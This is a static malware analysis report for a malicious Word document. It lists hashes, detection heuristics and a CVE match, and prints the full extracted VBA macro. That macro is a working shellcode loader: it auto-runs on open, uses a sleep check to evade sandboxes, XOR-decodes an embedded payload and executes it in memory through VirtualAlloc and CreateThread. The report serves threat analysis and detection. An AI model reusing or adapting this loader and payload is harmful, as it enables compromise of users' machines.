Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 8432617b347362e9…

MALICIOUS

Office (OLE) / .DOC

39.0 KB Created: 2026-03-18 13:39:00 Authoring application: Microsoft Office Word First seen: 2026-06-21
MD5: 0181d5de249890e1fe3df4806a811c0f SHA-1: 83c69361a265af87715e6db198a88ed1d072cea8 SHA-256: 8432617b347362e919a1c4151341a91d8c0ef32ce7c09ea195604ea75f2db344
318 Risk Score

Heuristics 10

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • ClamAV: Doc.Malware.Valyria-10001333-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10001333-0
  • Raw OLE macro native-memory callback shellcode loader critical OLE_RAW_MACRO_NATIVE_MEMORY_CALLBACK_LOADER
    Raw OLE/VBA project text contains an auto-exec entry plus native memory allocation, process-memory write/copy, and callback/timer execution APIs. This catches source-stomped or partially recovered VBA loaders where the extracted macro source omits the auto-run entry, but the compiled/source project bytes still expose the in-memory shellcode loader triad.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA native-memory callback shellcode loader critical OLE_VBA_NATIVE_MEMORY_CALLBACK_LOADER
    VBA auto-exec macro declares or calls native memory allocation, process-memory write/copy, and callback/timer execution APIs. This is the in-memory shellcode loader pattern: allocate writable memory, copy decoded payload bytes into it, then transfer control through a callback such as CreateTimerQueueTimer. Benign document automation does not combine these primitives.
    Matched line in script
    Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 6012 bytes
SHA-256: d658f8fb85ef9c55b413e1127ce2b29c5b5788132df5fcf46338265556e39e79
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr

Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr

Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr

Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long

Public Declare PtrSafe Function VirtualAllocExNuma Lib "Kernel32.dll" (ByVal hProcess As LongPtr, ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long, ByVal nndPreferred As Long) As String

Public Declare PtrSafe Function GetCurrentProcess Lib "Kernel32.dll" ()

Function MyMacro()
    Dim buf As Variant
    Dim addr As LongPtr
    Dim counter As Long
    Dim data As Long
    Dim res As LongPtr
    Dim t1 As Date
    Dim t2 As Date
    Dim time As Long


    t1 = Now()
    Sleep (2000)
    t2 = Now()
    time = DateDiff("s", t1, t2)
    
    If time < 2 Then
        Exit Function
    End If
    
    mem = VirtualAllocExNuma(GetCurrentProcess(), 0, &H1000, &H3000, &H4, 0)
    If mem = Null Then Return
    
    buf = Array(132, 48, 251, 156, 136, 144, 180, 120, 120, 120, 57, 41, 57, 40, 42, 48, 73, 170, 41, 46, 29, 48, 243, 42, 24, 48, 243, 42, 96, 48, 243, 42, 88, 48, 243, 10, 40, 48, 119, 207, 50, 50, 53, 73, 177, 48, 73, 184, 212, 68, _
25, 4, 122, 84, 88, 57, 185, 177, 117, 57, 121, 185, 154, 149, 42, 57, 41, 48, 243, 42, 88, 243, 58, 68, 48, 121, 168, 30, 249, 0, 96, 115, 122, 119, 253, 10, 120, 120, 120, 243, 248, 240, 120, 120, 120, 48, 253, 184, 12, 31, _
48, 121, 168, 243, 48, 96, 40, 60, 243, 56, 88, 49, 121, 168, 155, 46, 48, 135, 177, 57, 243, 76, 240, 53, 73, 177, 48, 121, 174, 48, 73, 184, 57, 185, 177, 117, 212, 57, 121, 185, 64, 152, 13, 137, 52, 123, 52, 92, 112, 61, _
65, 169, 13, 160, 32, 60, 243, 56, 92, 49, 121, 168, 30, 57, 243, 116, 48, 60, 243, 56, 100, 49, 121, 168, 57, 243, 124, 240, 57, 32, 57, 32, 48, 121, 168, 38, 33, 34, 57, 32, 57, 33, 57, 34, 48, 251, 148, 88, 57, 42, _
135, 152, 32, 57, 33, 34, 48, 243, 106, 145, 51, 135, 135, 135, 37, 48, 73, 163, 43, 49, 198, 15, 17, 22, 17, 22, 29, 12, 120, 57, 46, 48, 241, 153, 49, 191, 186, 52, 15, 94, 127, 135, 173, 43, 43, 144, 44, 120, 120, 120, _
53, 23, 2, 17, 20, 20, 25, 87, 77, 86, 72, 88, 80, 53, 25, 27, 17, 22, 12, 23, 11, 16, 67, 88, 49, 22, 12, 29, 20, 88, 53, 25, 27, 88, 55, 43, 88, 32, 88, 73, 76, 86, 79, 67, 88, 10, 14, 66, 73, 75, _
75, 86, 72, 81, 88, 63, 29, 27, 19, 23, 87, 74, 72, 73, 72, 72, 73, 72, 73, 88, 62, 17, 10, 29, 30, 23, 0, 87, 73, 75, 75, 86, 72, 120, 33, 43, 34, 53, 73, 184, 53, 73, 177, 43, 43, 49, 194, 66, 46, 1, _
223, 120, 120, 120, 120, 135, 173, 144, 119, 120, 120, 120, 73, 65, 74, 86, 73, 78, 64, 86, 76, 77, 86, 73, 78, 64, 120, 34, 48, 241, 185, 49, 191, 184, 195, 121, 120, 120, 53, 73, 177, 43, 43, 18, 123, 43, 49, 194, 47, 241, _
231, 190, 120, 120, 120, 120, 135, 173, 144, 164, 120, 120, 120, 87, 64, 41, 20, 42, 39, 14, 39, 32, 78, 43, 76, 76, 72, 60, 22, 43, 45, 47, 9, 78, 63, 31, 9, 58, 17, 64, 22, 55, 75, 43, 74, 28, 15, 50, 64, 19, _
10, 25, 59, 2, 60, 28, 30, 74, 19, 19, 46, 58, 18, 51, 19, 14, 44, 74, 51, 14, 25, 34, 30, 48, 27, 63, 54, 59, 46, 15, 85, 10, 10, 52, 33, 58, 32, 49, 9, 48, 58, 30, 63, 0, 33, 49, 28, 85, 77, 79, _
18, 75, 41, 27, 25, 33, 1, 65, 19, 47, 42, 10, 16, 79, 32, 20, 9, 19, 53, 23, 20, 13, 43, 43, 49, 63, 32, 73, 58, 18, 50, 44, 12, 23, 12, 62, 14, 21, 2, 1, 17, 54, 41, 49, 46, 33, 18, 77, 43, 45, _
54, 75, 45, 51, 15, 77, 44, 11, 44, 57, 42, 20, 11, 40, 78, 18, 64, 73, 22, 8, 9, 49, 72, 16, 26, 76, 34, 14, 73, 65, 15, 51, 50, 20, 17, 47, 31, 10, 44, 1, 54, 17, 55, 41, 62, 54, 46, 41, 29, 55, _
12, 61, 47, 13, 0, 65, 58, 52, 74, 85, 27, 27, 9, 14, 53, 30, 29, 41, 2, 33, 77, 15, 57, 29, 22, 13, 25, 59, 32, 45, 52, 46, 120, 48, 241, 185, 43, 34, 57, 32, 53, 73, 177, 43, 48, 192, 120, 74, 208, 252, _
120, 120, 120, 120, 40, 43, 43, 49, 191, 186, 147, 45, 86, 67, 135, 173, 48, 241, 190, 18, 114, 39, 48, 241, 137, 18, 103, 34, 42, 16, 248, 75, 120, 120, 49, 241, 152, 18, 124, 57, 33, 49, 194, 13, 62, 230, 254, 120, 120, 120, _
120, 135, 173, 53, 73, 184, 43, 34, 48, 241, 137, 53, 73, 177, 53, 73, 177, 43, 43, 49, 191, 186, 85, 126, 96, 3, 135, 173, 253, 184, 13, 103, 48, 191, 185, 240, 107, 120, 120, 49, 194, 60, 136, 77, 152, 120, 120, 120, 120, 135, _
173, 48, 135, 183, 12, 122, 147, 210, 144, 45, 120, 120, 120, 43, 33, 18, 56, 34, 49, 241, 169, 185, 154, 104, 49, 191, 184, 120, 104, 120, 120, 49, 194, 32, 220, 43, 157, 120, 120, 120, 120, 135, 173, 48, 235, 43, 43, 48, 241, 159, _
48, 241, 137, 48, 241, 162, 49, 191, 184, 120, 88, 120, 120, 49, 241, 129, 49, 194, 106, 238, 241, 154, 120, 120, 120, 120, 135, 173, 48, 251, 188, 88, 253, 184, 12, 202, 30, 243, 127, 48, 121, 187, 253, 184, 13, 170, 32, 187, 32, 18, _
120, 33, 49, 191, 186, 136, 205, 218, 46, 135, 173)

    For i = 0 To UBound(buf)
        buf(i) = buf(i) Xor 120
    Next i

    addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
    
    For counter = LBound(buf) To UBound(buf)
        data = buf(counter)
        res = RtlMoveMemory(addr + counter, data, 1)
    Next counter
    
    res = CreateThread(0, 0, addr, 0, 0, 0)
End Function

Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub